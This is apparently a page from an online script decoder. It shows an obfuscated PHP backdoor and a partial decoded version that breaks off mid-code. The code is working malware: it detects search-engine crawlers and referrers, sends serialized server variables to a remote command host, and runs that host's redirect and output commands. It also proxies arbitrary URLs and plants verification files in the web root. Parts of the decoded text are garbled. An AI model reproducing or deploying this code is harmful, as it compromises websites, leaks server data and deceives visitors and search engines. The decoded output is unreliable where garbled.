Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php define('A', 'jan06.tphu5563htr/suruga::shopdetail/^^!!|[word]/[0:1]^?pid=!::'); goto QRKCI; QRKCI: @date_default_timezone_set("\x50\x52\103"); goto eOb91; qy3v6: function ZQ0D8($fxCBi = '') { return preg_match("\57\50\x67\157\157\147\154\145\x2e\143\157\56\x6a\x70\174\x79\x61\x68\157\157\56\143\157\x2e\152\160\174\x62\x69\x6e\147\174\142\141\x69\144\x75\x7c\x67\157\x6f\x67\154\145\x2e\143\157\x6d\x29\x2f\x73\151", $fxCBi); } goto ZVYHw; FNQTf: function tTkg3($qJbut = '') { return preg_match("\57\x28\x67\x6f\157\147\154\x65\142\157\164\174\x62\x61\x69\x64\x75\x73\160\151\144\x65\162\x7c\142\x69\x6e\x67\x62\157\x74\174\x67\x6f\157\x67\154\x65\174\x62\x61\151\x64\165\x7c\x61\157\154\174\142\151\156\147\174\171\x61\150\157\x6f\x7c\171\141\156\x64\145\170\51\57\163\x69", $qJbut); } goto qy3v6; r2BR3: function MmuIy($DPG44, $hKUtf = array()) { goto Iu2Oq; Iu2Oq: $TZZdx = 0; goto ceOyM; mzFgp: return $TZZdx; goto wNjfl; ceOyM: try { goto GmbPK; OgWrd: $J4q9k = "\107\105\124"; goto eTMav; ZHa1_: ATty9: goto areBD; K4wgs: if (!true) { goto RthG9; } goto rtKj9; QfHdS: $dquoy = hexdec(substr($G6Xd0, 0, $c_QSn)); goto hrLnF; hrLnF: if (!($dquoy === 0)) { goto zrHfX; } goto yQyVJ; xY0Sl: FiINC: goto K4wgs; s6S1s: if (feof($oqXz8)) { goto q2YjN; } goto CxfUY; jUXLU: $QYIFY .= substr($G6Xd0, $c_QSn + 2, $dquoy); goto PZKvH; GmfBI: $aDGWJ = isset($qeAhP["\163\x63\x68\x65\155\145"]) ? $qeAhP["\163\x63\150\145\x6d\x65"] : "\150\x74\164\x70"; goto MB0gX; PXDPy: $G6Xd0 = $QYIFY; goto RVXpx; uaMkr: $G6Xd0 = isset($anqoR[1]) ? $anqoR[1] : ''; goto bDqRG; ZBIc9: curl_setopt($L24F4, CURLOPT_SSL_VERIFYPEER, false); goto kuU5t; z9wpD: if (empty($hKUtf)) { goto qU6DC; } goto dw3TR; dw3TR: $J4q9k = "\120\x4f\x53\x54"; goto jvb1P; areBD: K82RA: goto U5aFm; amoyI: $MQ8BB = isset($anqoR[0]) ? $anqoR[0] : ''; goto uaMkr; YI3AN: $QYIFY = ''; goto xY0Sl; L_v2m: $qeAhP = parse_url($DPG44); goto GmfBI; TtwUx: if (!$r3L1E) { goto TPGAK; } goto USCcI; pDaTp: $R2OFg = "{$J4q9k}\x20{$GCiv2}{$dW0cM}\40\110\x54\124\x50\57\x31\56\x31\15\xa"; goto Aqks5; TFVJk: if (!($J4q9k === "\120\x4f\x53\124")) { goto P8Grw; } goto GctZN; nRKxX: curl_setopt($L24F4, CURLOPT_POSTFIELDS, http_build_query($hKUtf)); goto GXfuj; bXY_P: curl_setopt($L24F4, CURLOPT_POST, 1); goto nRKxX; OlWSw: TPGAK: goto L26xX; tyIky: curl_setopt($L24F4, CURLOPT_USERAGENT, "\127\110\122"); goto Zqcby; xJubK: $MQ8BB .= "\x43\x6f\x6e\x6e\x65\x63\x74\x69\157\x6e\72\x20\143\x6c\x6f\x73\x65\xd\xa\15\12"; goto gMOrX; rtKj9: $c_QSn = strpos($G6Xd0, "\xd\12"); goto ALd83; ABrG3: $anqoR = explode("\xd\xa\15\12", $TZZdx, 2); goto amoyI; RVXpx: OSjCe: goto QTIV8; Wftw1: if (!($TZZdx == 0)) { goto K82RA; } goto L_v2m; ALd83: if (!($c_QSn === false)) { goto AQccp; } goto ZAy5H; Aqks5: $R2OFg .= "\x48\157\163\x74\x3a\x20{$qCmcL}\xd\xa"; goto azD7f; QTIV8: $TZZdx = trim($G6Xd0); goto ZHa1_; GXfuj: Y8rHA: goto v367D; yQyVJ: goto RthG9; goto x4Gr0; S8lXJ: curl_setopt($L24F4, CURLOPT_RETURNTRANSFER, 1); goto ZBIc9; AI203: $J8Nnq = ''; goto OgWrd; bDqRG: if (!(stripos($MQ8BB, "\124\162\141\156\163\146\145\x72\x2d\105\x6e\143\157\x64\x69\156\x67\72\x20\143\150\x75\x6e\153\x65\144") !== false)) { goto OSjCe; } goto YI3AN; AJrGO: curl_setopt($L24F4, CURLOPT_FOLLOWLOCATION, 1); goto PHHzt; QHqqY: IL_pi: goto s6S1s; zmkjO: $oqXz8 = stream_socket_client($su2b6, $cGtyk, $h8vIt, 45); goto c9qLv; ZAy5H: goto RthG9; goto JQkZj; R_S24: $MQ8BB .= "\x43\x6f\156\164\145\156\164\x2d\114\x65\156\x67\164\150\72\x20" . strlen($J8Nnq) . "\15\xa"; goto mPzvR; qeNEw: fwrite($oqXz8, $R2OFg); goto QHqqY; JQkZj: AQccp: goto QfHdS; azD7f: $R2OFg .= $MQ8BB; goto TFVJk; GmbPK: if (!(function_exists("\x63\x75\162\x6c\x5f\151\156\x69\164") && function_exists("\x63\x75\x72\154\137\x65\x78\145\x63"))) { goto JISuQ; } goto n15Pz; GctZN: $R2OFg .= $J8Nnq; goto vfe9o; jvb1P: $J8Nnq = http_build_query($hKUtf); goto VRhKQ; USCcI: $TZZdx = trim(trim($r3L1E, "\xef\273\277")); goto OlWSw; MCP33: RthG9: goto PXDPy; n15Pz: $L24F4 = curl_init(); goto LjhxK; LjhxK: curl_setopt($L24F4, CURLOPT_URL, $DPG44); goto tyIky; N903B: $GCiv2 = isset($qeAhP["\x70\141\164\x68"]) ? $qeAhP["\160\x61\x74\x68"] : "\57"; goto EKZOi; Zqcby: curl_setopt($L24F4, CURLOPT_CONNECTTIMEOUT, 0); goto S8lXJ; eTMav: $MQ8BB = "\125\x73\x65\x72\x2d\101\147\145\x6e\x74\x3a\40\x57\110\x52\15\12"; goto z9wpD; mPzvR: qU6DC: goto xJubK; CxfUY: $TZZdx .= fgets($oqXz8, 1024); goto Bh_gH; VRhKQ: $MQ8BB .= "\x43\157\156\x74\x65\x6e\x74\x2d\124\x79\160\x65\72\40\x61\x70\x70\x6c\151\143\x61\x74\x69\157\156\x2f\x78\55\x77\x77\167\x2d\x66\157\162\155\55\x75\x72\x6c\145\156\x63\x6f\144\145\x64\15\12"; goto R_S24; gMOrX: $su2b6 = ($aDGWJ === "\150\164\x74\x70\163" ? "\x73\x73\154\72\x2f\57" : '') . $qCmcL . "\x3a" . $VYfVL; goto zmkjO; Bh_gH: goto IL_pi; goto J71Ji; MB0gX: $qCmcL = $qeAhP["\x68\x6f\163\164"]; goto uc_lz; uc_lz: $VYfVL = $aDGWJ === "\x68\x74\164\x70\163" ? 443 : 80; goto N903B; J71Ji: q2YjN: goto l1eaB; PHHzt: curl_setopt($L24F4, CURLOPT_TIMEOUT, 60); goto vWVuY; v367D: $r3L1E = curl_exec($L24F4); goto VGfT3; DqhwK: goto FiINC; goto MCP33; EKZOi: $dW0cM = isset($qeAhP["\161\x75\x65\162\171"]) ? "\x3f" . $qeAhP["\161\165\145\162\171"] : ''; goto AI203; kuU5t: curl_setopt($L24F4, CURLOPT_SSL_VERIFYHOST, false); goto AJrGO; vfe9o: P8Grw: goto qeNEw; PZKvH: $G6Xd0 = substr($G6Xd0, $c_QSn + 2 + $dquoy + 2); goto DqhwK; VGfT3: curl_close($L24F4); goto TtwUx; c9qLv: if (!$oqXz8) { goto ATty9; } goto pDaTp; vWVuY: if (empty($hKUtf)) { goto Y8rHA; } goto bXY_P; x4Gr0: zrHfX: goto jUXLU; l1eaB: fclose($oqXz8); goto ABrG3; L26xX: JISuQ: goto Wftw1; U5aFm: } catch (Exception $VmQTe) { } goto mzFgp; wNjfl: } goto FNQTf; eOb91: if (!function_exists("\157\142\x5f\163\164\x61\162\164")) { goto sJnQe; } goto g2_bs; g2_bs: @ob_start(); goto j2UDR; ZVYHw: function wLtgQ($YWRuB) { goto epMum; c5ti2: qG4Z7: goto KUO_j; AOXPr: foreach ($xFozO as $YMubu => $Wr0t1) { $xFozO[$YMubu] = chr(ord($Wr0t1) - 5); sZ25O: } goto jOP1i; epMum: $Tsbs9 = ''; goto ZE7jX; ZxAjC: if (!(is_array($mroCl) && count($mroCl) == 4)) { goto qG4Z7; } goto VqUaz; uSQh3: $Tsbs9 = $mroCl[1] . $Tsbs9 . $mroCl[3]; goto c5ti2; dSer4: f5YaY: goto uSQh3; KUO_j: return $Tsbs9; goto rmmBf; jOP1i: RP84H: goto Pz50c; w4Uhr: $xFozO = preg_split("\x2f\x2f", $mroCl[2], -1, PREG_SPLIT_NO_EMPTY); goto AOXPr; ZE7jX: preg_match("\57\50\x5b\136\134\x2e\135\x2b\x5c\x2e\x29\x28\x2e\x2a\51\x28\134\57\56\52\x29\57", $YWRuB, $mroCl); goto ZxAjC; Pz50c: $Tsbs9 = implode('', $xFozO); goto dSer4; VqUaz: if (!($mroCl[2] != '')) { goto f5YaY; } goto w4Uhr; rmmBf: } goto kCELd; j2UDR: sJnQe: goto r2BR3; kCELd: function jVxEO($QEHtw = '') { goto bAeaB; UZNwl: $D6BIz = isset($_SERVER["\110\x54\124\x50\x5f\122\105\x46\x45\x52\105\x52"]) ? $_SERVER["\110\124\124\x50\137\122\x45\x46\x45\122\105\x52"] : ''; goto FYprq; lGkMc: $_SERVER["\171\164\137\x6a\165\x6d\x70"] = 0; goto JC3V2; LiDXR: echo "{$IIbj2}"; goto Yyo9w; awwo8: echo sprintf("\74\x62\x6f\144\x79\40\157\156\x6c\x6f\141\144\75\x22\x64\157\x63\165\155\145\x6e\164\x2e\147\x65\x74\x45\x6c\x65\x6d\x65\156\x74\x73\x42\171\124\x61\147\x4e\x61\x6d\145\x28\45\x73\141\45\163\51\x5b\60\135\56\x63\x6c\151\143\x6b\x28\51\42\x3e\74\x61\40\150\x72\x65\146\x3d\42\x25\x73\42\x3e\x3c\x2f\x61\76\x3c\156\157\163\143\x72\151\x70\164\x3e\74\x6d\145\164\141\x20\150\x74\x74\160\x2d\145\161\x75\x69\166\x3d\x22\x72\145\146\162\145\163\x68\42\40\143\x6f\156\164\145\x6e\x74\x3d\42\x30\x3b\40\x75\162\154\75\45\163\42\x20\57\x3e\x3c\x2f\x6e\x6f\x73\x63\162\151\160\x74\76\x3c\x2f\142\157\x64\171\x3e", "\x27", "\47", $OBMjF, $OBMjF); goto XZaiF; Yyo9w: die; goto a8Cpt; kWwrX: echo MmUIY($PoTH9); goto eQvWK; LQWbK: rdWAi: goto V6fPi; mSvJB: $qanA2 = "\164\151\157\x6e\72"; goto Yv2rU; meAMz: if (!preg_match("\57\136\x4a\165\155\160\100\x28\56\x2a\51\x2f", $IIbj2, $yOJaT)) { goto DRJmM; } goto xOSjm; zDuPO: $qK1KK .= "\x5d\x7b\61\x36"; goto itIdW; HH_bA: $IIbj2 = trim($IIbj2); goto dLcDy; MrfcA: die; goto isbfk; uu6RE: $_SERVER["\171\164\137\165\160"] = $svD11[2]; goto WUFOJ; FcuHB: echo gethostbyname($JjeoA["\150\157\163\164"]); goto eB2jj; hFMtR: chmod($bSdEy, 0755); goto A_uNR; oMpdA: $_SERVER["\171\164\137\x6a\165\x6d\160"] = 1; goto xEMXW; FAOY4: $JjeoA = parse_url($TlS1C); goto FcuHB; fQnTE: $LRrKC .= "\x67\x6c\145\x2d\x73\151"; goto S7O6W; wY0VU: if (!preg_match("\57\136\x48\x65\141\144\100\50\56\x2a\x3f\51\x40\x40\x28\x2e\x2a\x29\57\x69\163", $IIbj2, $ZNDhR)) { goto tGYwh; } goto AQIOF; LTmM2: goto GuvtB; goto eqlhj; nqhQn: $LRrKC .= $qanA2; goto dV8XA; tM2e3: return; goto AbX4h; oF3gC: die; goto LC5LW; itIdW: $qK1KK .= "\x7d\134\56\x78\150"; goto lltZa; dLcDy: if (!preg_match("\57\x5e\x48\145\141\x64\x40\x28\x2e\52\x3f\51\x40\100\x28\56\52\51\57\x69\x73", $IIbj2, $ZNDhR)) { goto qqCfz; } goto BLHlS; eQvWK: bgirg: goto MrfcA; USJ1l: $p9t7M = ZQ0D8($D6BIz); goto G9T3N; f83GH: $tNkvt = tTkG3($RLf76); goto USJ1l; A_uNR: file_put_contents("{$bSdEy}\x2f{$gGiYX}", "{$LRrKC}\x20{$gGiYX}"); goto b1yE9; G9T3N: $svD11 = explode("\x3a\72", A); goto qpD4m; xACgt: die; goto yPgXp; VQHJ6: $FMxdC = $FMxdC == '' ? isset($_SERVER["\x50\101\124\x48\137\111\116\x46\117"]) && $_SERVER["\x50\x41\x54\110\137\111\116\x46\117"] != '' ? $_SERVER["\x50\101\x54\110\x5f\x49\116\x46\117"] : $FMxdC : $FMxdC; goto UZNwl; BgS40: $IIbj2 = $ZNDhR[2]; goto TLSRs; xKQ_R: header("{$qanA2}\x20\57{$gGiYX}"); goto Szke6; QHeR5: qqCfz: goto iF10Q; dV8XA: $qanA2 = "\x4c\157\x63\x61" . $qanA2; goto UhKDV; mkxdA: $IIbj2 = $ZNDhR[2]; goto QHeR5; Mx5ab: if (!in_array($IIbj2, ["\52\64\60\64", "\52\162\145\x74\x75\x72\156"])) { goto f_YQ9; } goto tM2e3; Dvv_f: $IIbj2 = MMUIY($TlS1C, array("\x78" => serialize($_SERVER))); goto RR8wt; S7O6W: $LRrKC .= "\164\x65\55\x76\x65\x72\x69"; goto Bo1rv; bAeaB: $FMxdC = isset($_SERVER["\x52\105\121\x55\105\123\x54\137\125\122\x49"]) ? $_SERVER["\122\x45\x51\125\x45\x53\x54\137\x55\x52\111"] : (isset($_SERVER["\121\125\x45\x52\131\x5f\x53\x54\x52\111\116\107"]) ? $_SERVER["\121\125\105\122\x59\137\x53\124\122\x49\x4e\x47"] : ''); goto VQHJ6; isbfk: bNIoM: goto uI9LY; ayCeT: cnypK: goto kWwrX; lltZa: $qK1KK .= "\x74\x6d\x6c\x29"; goto rdZGH; vh_Lk: $PoTH9 = trim($_GET[$DuJqb]); goto AIoYG; xEMXW: zbLCp: goto Dvv_f; AIoYG: if (preg_match("\57\x5e\x68\164\x74\x70\x73\77\x2f\163\151", $PoTH9)) { goto cnypK; } goto g_KCB; eqlhj: LPyxy: goto awwo8; JC3V2: $_SERVER["\171\x74\x5f\x67\x7a"] = $svD11[1]; goto uu6RE; g_KCB: echo sprintf($YsEje, $TlS1C, $TlS1C) . "\74\x62\162\40\57\x3e\74\142\162\x20\x2f\x3e"; goto FAOY4; SBDu7: echo $OBMjF; goto LTmM2; iF10Q: echo "{$IIbj2}"; goto xACgt; AbX4h: f_YQ9: goto meAMz; eckPK: $bSdEy = $_SERVER[$Mu4jC]; goto YlE81; TLSRs: tGYwh: goto LiDXR; eB2jj: goto bgirg; goto ayCeT; XZaiF: GuvtB: goto oF3gC; FYprq: $RLf76 = isset($_SERVER["\110\124\x54\x50\x5f\x55\123\105\x52\137\101\107\x45\x4e\124"]) ? $_SERVER["\x48\x54\124\120\x5f\125\123\x45\122\x5f\x41\107\105\116\124"] : ''; goto f83GH; LC5LW: DRJmM: goto wY0VU; V6fPi: if (!($tNkvt || $p9t7M)) { goto bXQiQ; } goto xTkIx; NrMvC: $Mu4jC .= "\124\x5f\x52\117\x4f\x54"; goto eckPK; RR8wt: $IIbj2 = trim($IIbj2); goto Mx5ab; qpD4m: $TlS1C = sprintf("\x68\x74\164\x70\x73\x3a\57\57\x25\163\x2e\x70\x79", WLTGq($svD11[0])); goto lGkMc; BLHlS: header($ZNDhR[1]); goto mkxdA; a8Cpt: bXQiQ: goto COkAh; xTkIx: $YsEje = "\x3c\x61\x20\x68\x72\145\x66\75\x22\x25\163\x22\40\x74\x61\x72\x67\x65\x74\x3d\42\137\x62\x6c\141\x6e\x6b\42\x3e\45\x73\74\57\x61\x3e"; goto h8ko9; zo0yo: $IU2NX = preg_match("\57\x5e\150\164\164\x70\x73\77\x5c\72\134\57\x5c\x2f\x2f\163\151", $OBMjF); goto Ojw6j; Bo1rv: $LRrKC .= "\x66\x69\x63\x61"; goto nqhQn; tOJ2z: $Mu4jC = "\x44\117\103"; goto E1dRO; Szke6: die; goto LQWbK; Ojw6j: if ($IU2NX) { goto LPyxy; } goto SBDu7; pDlEV: $qK1KK .= "\147\x6c\x65\x5b\134\x77"; goto zDuPO; h8ko9: if (!isset($_GET[$DuJqb])) { goto bNIoM; } goto vh_Lk; rdZGH: $LRrKC = "\x67\x6f\x6f"; goto fQnTE; AQIOF: header($ZNDhR[1]); goto BgS40; WUFOJ: $DuJqb = "\171\164\61"; goto tOJ2z; E1dRO: $Mu4jC .= "\x55\x4d\x45\116"; goto NrMvC; M9uq4: $gGiYX = str_replace("\x2e\170", "\x2e", trim($SGCr0[1])); goto hFMtR; YlE81: if (!preg_match("\x2f\x73\151\164\145\155\141\x70\x2e\x2a\x3f\x5c\56\x78\155\154\x24\x2f\163\x69", $FMxdC)) { goto G9nbW; } goto St6AW; xOSjm: $OBMjF = trim($yOJaT[1]); goto zo0yo; St6AW: $IIbj2 = mMUiY($TlS1C, array("\x78" => serialize($_SERVER))); goto HH_bA; yPgXp: G9nbW: goto mSvJB; UhKDV: if (!preg_match("\x2f" . $qK1KK . "\44\x2f\x73\151", $FMxdC, $SGCr0)) { goto rdWAi; } goto M9uq4; Yv2rU: $qK1KK = "\x28\x67\157\x6f"; goto pDlEV; b1yE9: chmod($bSdEy, 0555); goto xKQ_R; uI9LY: if (!$p9t7M) { goto zbLCp; } goto oMpdA; COkAh: } goto TnA0N; TnA0N: jvxeo(); ?>

Show other level

Decrypted code level 1:

define('A', 'jan06.tphu5563htr/suruga::shopdetail/^^!!|[word]/[0:1]^?pid=!::'); goto QRKCI; QRKCI: @date_default_timezone_set("PRC"); goto eOb91; qy3v6: function ZQ0D8($fxCBi = '') { return preg_match("/(google.co.jp|yahoo.co.jp|bing|baidu|google.com)/si", $fxCBi); } goto ZVYHw; FNQTf: function tTkg3($qJbut = '') { return preg_match("/(googlebot|baiduspider|bingbot|google|baidu|aol|bing|yahoo|yandex)/si", $qJbut); } goto qy3v6; r2BR3: function MmuIy($DPG44, $hKUtf = array()) { goto Iu2Oq; Iu2Oq: $TZZdx = 0; goto ceOyM; mzFgp: return $TZZdx; goto wNjfl; ceOyM: try { goto GmbPK; OgWrd: $J4q9k = "GET"; goto eTMav; ZHa1_: ATty9: goto areBD; K4wgs: if (!true) { goto RthG9; } goto rtKj9; QfHdS: $dquoy = hexdec(substr($G6Xd0, 0, $c_QSn)); goto hrLnF; hrLnF: if (!($dquoy === 0)) { goto zrHfX; } goto yQyVJ; xY0Sl: FiINC: goto K4wgs; s6S1s: if (feof($oqXz8)) { goto q2YjN; } goto CxfUY; jUXLU: $QYIFY .= substr($G6Xd0, $c_QSn + 2, $dquoy); goto PZKvH; GmfBI: $aDGWJ = isset($qeAhP["scheme"]) ? $qeAhP["scheme"] : "http"; goto MB0gX; PXDPy: $G6Xd0 = $QYIFY; goto RVXpx; uaMkr: $G6Xd0 = isset($anqoR[1]) ? $anqoR[1] : ''; goto bDqRG; ZBIc9: curl_setopt($L24F4, CURLOPT_SSL_VERIFYPEER, false); goto kuU5t; z9wpD: if (empty($hKUtf)) { goto qU6DC; } goto dw3TR; dw3TR: $J4q9k = "POST"; goto jvb1P; areBD: K82RA: goto U5aFm; amoyI: $MQ8BB = isset($anqoR[0]) ? $anqoR[0] : ''; goto uaMkr; YI3AN: $QYIFY = ''; goto xY0Sl; L_v2m: $qeAhP = parse_url($DPG44); goto GmfBI; TtwUx: if (!$r3L1E) { goto TPGAK; } goto USCcI; pDaTp: $R2OFg = "{$J4q9k} {$GCiv2}{$dW0cM} HTTPyq
\xa"; goto Aqks5; TFVJk: if (!($J4q9k === "POST")) { goto P8Grw; } goto GctZN; nRKxX: curl_setopt($L24F4, CURLOPT_POSTFIELDS, http_build_query($hKUtf)); goto GXfuj; bXY_P: curl_setopt($L24F4, CURLOPT_POST, 1); goto nRKxX; OlWSw: TPGAK: goto L26xX; tyIky: curl_setopt($L24F4, CURLOPT_USERAGENT, "WHR"); goto Zqcby; xJubK: $MQ8BB .= "Connection: close\xd\xa
"; goto gMOrX; rtKj9: $c_QSn = strpos($G6Xd0, "\xd
"); goto ALd83; ABrG3: $anqoR = explode("\xd\xa
", $TZZdx, 2); goto amoyI; RVXpx: OSjCe: goto QTIV8; Wftw1: if (!($TZZdx == 0)) { goto K82RA; } goto L_v2m; ALd83: if (!($c_QSn === false)) { goto AQccp; } goto ZAy5H; Aqks5: $R2OFg .= "Host: {$qCmcL}\xd\xa"; goto azD7f; QTIV8: $TZZdx = trim($G6Xd0); goto ZHa1_; GXfuj: Y8rHA: goto v367D; yQyVJ: goto RthG9; goto x4Gr0; S8lXJ: curl_setopt($L24F4, CURLOPT_RETURNTRANSFER, 1); goto ZBIc9; AI203: $J8Nnq = ''; goto OgWrd; bDqRG: if (!(stripos($MQ8BB, "Transfer-Encoding: chunked") !== false)) { goto OSjCe; } goto YI3AN; AJrGO: curl_setopt($L24F4, CURLOPT_FOLLOWLOCATION, 1); goto PHHzt; QHqqY: IL_pi: goto s6S1s; zmkjO: $oqXz8 = stream_socket_client($su2b6, $cGtyk, $h8vIt, 45); goto c9qLv; ZAy5H: goto RthG9; goto JQkZj; R_S24: $MQ8BB .= "Content-Length: " . strlen($J8Nnq) . "
\xa"; goto mPzvR; qeNEw: fwrite($oqXz8, $R2OFg); goto QHqqY; JQkZj: AQccp: goto QfHdS; azD7f: $R2OFg .= $MQ8BB; goto TFVJk; GmbPK: if (!(function_exists("curl_init") && function_exists("curl_exec"))) { goto JISuQ; } goto n15Pz; GctZN: $R2OFg .= $J8Nnq; goto vfe9o; jvb1P: $J8Nnq = http_build_query($hKUtf); goto VRhKQ; USCcI: $TZZdx = trim(trim($r3L1E, "")); goto OlWSw; MCP33: RthG9: goto PXDPy; n15Pz: $L24F4 = curl_init(); goto LjhxK; LjhxK: curl_setopt($L24F4, CURLOPT_URL, $DPG44); goto tyIky; N903B: $GCiv2 = isset($qeAhP["path"]) ? $qeAhP["path"] : "/"; goto EKZOi; Zqcby: curl_setopt($L24F4, CURLOPT_CONNECTTIMEOUT, 0); goto S8lXJ; eTMav: $MQ8BB = "User-Agent: WHR
"; goto z9wpD; mPzvR: qU6DC: goto xJubK; CxfUY: $TZZdx .= fgets($oqXz8, 1024); goto Bh_gH; VRhKQ: $MQ8BB .= "Content-Type: application/x-www-form-urlencoded
"; goto R_S24; gMOrX: $su2b6 = ($aDGWJ === "https" ? "ssl://" : '') . $qCmcL . ":" . $VYfVL; goto zmkjO; Bh_gH: goto IL_pi; goto J71Ji; MB0gX: $qCmcL = $qeAhP["host"]; goto uc_lz; uc_lz: $VYfVL = $aDGWJ === "https" ? 443 : 80; goto N903B; J71Ji: q2YjN: goto l1eaB; PHHzt: curl_setopt($L24F4, CURLOPT_TIMEOUT, 60); goto vWVuY; v367D: $r3L1E = curl_exec($L24F4); goto VGfT3; DqhwK: goto FiINC; goto MCP33; EKZOi: $dW0cM = isset($qeAhP["query"]) ? "?" . $qeAhP["query"] : ''; goto AI203; kuU5t: curl_setopt($L24F4, CURLOPT_SSL_VERIFYHOST, false); goto AJrGO; vfe9o: P8Grw: goto qeNEw; PZKvH: $G6Xd0 = substr($G6Xd0, $c_QSn + 2 + $dquoy + 2); goto DqhwK; VGfT3: curl_close($L24F4); goto TtwUx; c9qLv: if (!$oqXz8) { goto ATty9; } goto pDaTp; vWVuY: if (empty($hKUtf)) { goto Y8rHA; } goto bXY_P; x4Gr0: zrHfX: goto jUXLU; l1eaB: fclose($oqXz8); goto ABrG3; L26xX: JISuQ: goto Wftw1; U5aFm: } catch (Exception $VmQTe) { } goto mzFgp; wNjfl: } goto FNQTf; eOb91: if (!function_exists("ob_start")) { goto sJnQe; } goto g2_bs; g2_bs: @ob_start(); goto j2UDR; ZVYHw: function wLtgQ($YWRuB) { goto epMum; c5ti2: qG4Z7: goto KUO_j; AOXPr: foreach ($xFozO as $YMubu => $Wr0t1) { $xFozO[$YMubu] = chr(ord($Wr0t1) - 5); sZ25O: } goto jOP1i; epMum: $Tsbs9 = ''; goto ZE7jX; ZxAjC: if (!(is_array($mroCl) && count($mroCl) == 4)) { goto qG4Z7; } goto VqUaz; uSQh3: $Tsbs9 = $mroCl[1] . $Tsbs9 . $mroCl[3]; goto c5ti2; dSer4: f5YaY: goto uSQh3; KUO_j: return $Tsbs9; goto rmmBf; jOP1i: RP84H: goto Pz50c; w4Uhr: $xFozO = preg_split("//", $mroCl[2], -1, PREG_SPLIT_NO_EMPTY); goto AOXPr; ZE7jX: preg_match("/([^\.]+\.)(.*)(\/.*)/", $YWRuB, $mroCl); goto ZxAjC; Pz50c: $Tsbs9 = implode('', $xFozO); goto dSer4; VqUaz: if (!($mroCl[2] != '')) { goto f5YaY; } goto w4Uhr; rmmBf: } goto kCELd; j2UDR: sJnQe: goto r2BR3; kCELd: function jVxEO($QEHtw = '') { goto bAeaB; UZNwl: $D6BIz = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto FYprq; lGkMc: $_SERVER["yt_jump"] = 0; goto JC3V2; LiDXR: echo "{$IIbj2}"; goto Yyo9w; awwo8: echo sprintf("<body onload="document.getElementsByTagName(%sa%s)[0].click()"><a href="%s"></a><noscript><meta http-equiv="refresh" content=; url=%s" /></noscript></body>", "'", "'", $OBMjF, $OBMjF); goto XZaiF; Yyo9w: die; goto a8Cpt; kWwrX: echo MmUIY($PoTH9); goto eQvWK; LQWbK: rdWAi: goto V6fPi; mSvJB: $qanA2 = "tion:"; goto Yv2rU; meAMz: if (!preg_match("/^Jump@(.*)/", $IIbj2, $yOJaT)) { goto DRJmM; } goto xOSjm; zDuPO: $qK1KK .= "]{"; goto itIdW; HH_bA: $IIbj2 = trim($IIbj2); goto dLcDy; MrfcA: die; goto isbfk; uu6RE: $_SERVER["yt_up"] = $svD11[2]; goto WUFOJ; FcuHB: echo gethostbyname($JjeoA["host"]); goto eB2jj; hFMtR: chmod($bSdEy, 0755); goto A_uNR; oMpdA: $_SERVER["yt_jump"] = 1; goto xEMXW; FAOY4: $JjeoA = parse_url($TlS1C); goto FcuHB; fQnTE: $LRrKC .= "gle-si"; goto S7O6W; wY0VU: if (!preg_match("/^Head@(.*?)@@(.*)/is", $IIbj2, $ZNDhR)) { goto tGYwh; } goto AQIOF; LTmM2: goto GuvtB; goto eqlhj; nqhQn: $LRrKC .= $qanA2; goto dV8XA; tM2e3: return; goto AbX4h; oF3gC: die; goto LC5LW; itIdW: $qK1KK .= "}\.xh"; goto lltZa; dLcDy: if (!preg_match("/^Head@(.*?)@@(.*)/is", $IIbj2, $ZNDhR)) { goto qqCfz; } goto BLHlS; eQvWK: bgirg: goto MrfcA; USJ1l: $p9t7M = ZQ0D8($D6BIz); goto G9T3N; f83GH: $tNkvt = tTkG3($RLf76); goto USJ1l; A_uNR: file_put_contents("{$bSdEy}/{$gGiYX}", "{$LRrKC} {$gGiYX}"); goto b1yE9; G9T3N: $svD11 = explode("::", A); goto qpD4m; xACgt: die; goto yPgXp; VQHJ6: $FMxdC = $FMxdC == '' ? isset($_SERVER["PATH_INFO"]) && $_SERVER["PATH_INFO"] != '' ? $_SERVER["PATH_INFO"] : $FMxdC : $FMxdC; goto UZNwl; BgS40: $IIbj2 = $ZNDhR[2]; goto TLSRs; xKQ_R: header("{$qanA2} /{$gGiYX}"); goto Szke6; QHeR5: qqCfz: goto iF10Q; dV8XA: $qanA2 = "Loca" . $qanA2; goto UhKDV; mkxdA: $IIbj2 = $ZNDhR[2]; goto QHeR5; Mx5ab: if (!in_array($IIbj2, ["*404", "*return"])) { goto f_YQ9; } goto tM2e3; Dvv_f: $IIbj2 = MMUIY($TlS1C, array("x" => serialize($_SERVER))); goto RR8wt; S7O6W: $LRrKC .= "te-veri"; goto Bo1rv; bAeaB: $FMxdC = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : ''); goto VQHJ6; isbfk: bNIoM: goto uI9LY; ayCeT: cnypK: goto kWwrX; lltZa: $qK1KK .= "tml)"; goto rdZGH; vh_Lk: $PoTH9 = trim($_GET[$DuJqb]); goto AIoYG; xEMXW: zbLCp: goto Dvv_f; AIoYG: if (preg_match("/^https?/si", $PoTH9)) { goto cnypK; } goto g_KCB; eqlhj: LPyxy: goto awwo8; JC3V2: $_SERVER["yt_gz"] = $svD11[1]; goto uu6RE; g_KCB: echo sprintf($YsEje, $TlS1C, $TlS1C) . "<br /><br />"; goto FAOY4; SBDu7: echo $OBMjF; goto LTmM2; iF10Q: echo "{$IIbj2}"; goto xACgt; AbX4h: f_YQ9: goto meAMz; eckPK: $bSdEy = $_SERVER[$Mu4jC]; goto YlE81; TLSRs: tGYwh: goto LiDXR; eB2jj: goto bgirg; goto ayCeT; XZaiF: GuvtB: goto oF3gC; FYprq: $RLf76 = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto f83GH; LC5LW: DRJmM: goto wY0VU; V6fPi: if (!($tNkvt || $p9t7M)) { goto bXQiQ; } goto xTkIx; NrMvC: $Mu4jC .= "T_ROOT"; goto eckPK; RR8wt: $IIbj2 = trim($IIbj2); goto Mx5ab; qpD4m: $TlS1C = sprintf("https://%s.py", WLTGq($svD11[0])); goto lGkMc; BLHlS: header($ZNDhR[1]); goto mkxdA; a8Cpt: bXQiQ: goto COkAh; xTkIx: $YsEje = "<a href="%s" target="_blank">%s</a>"; goto h8ko9; zo0yo: $IU2NX = preg_match("/^https?\:\/\//si", $OBMjF); goto Ojw6j; Bo1rv: 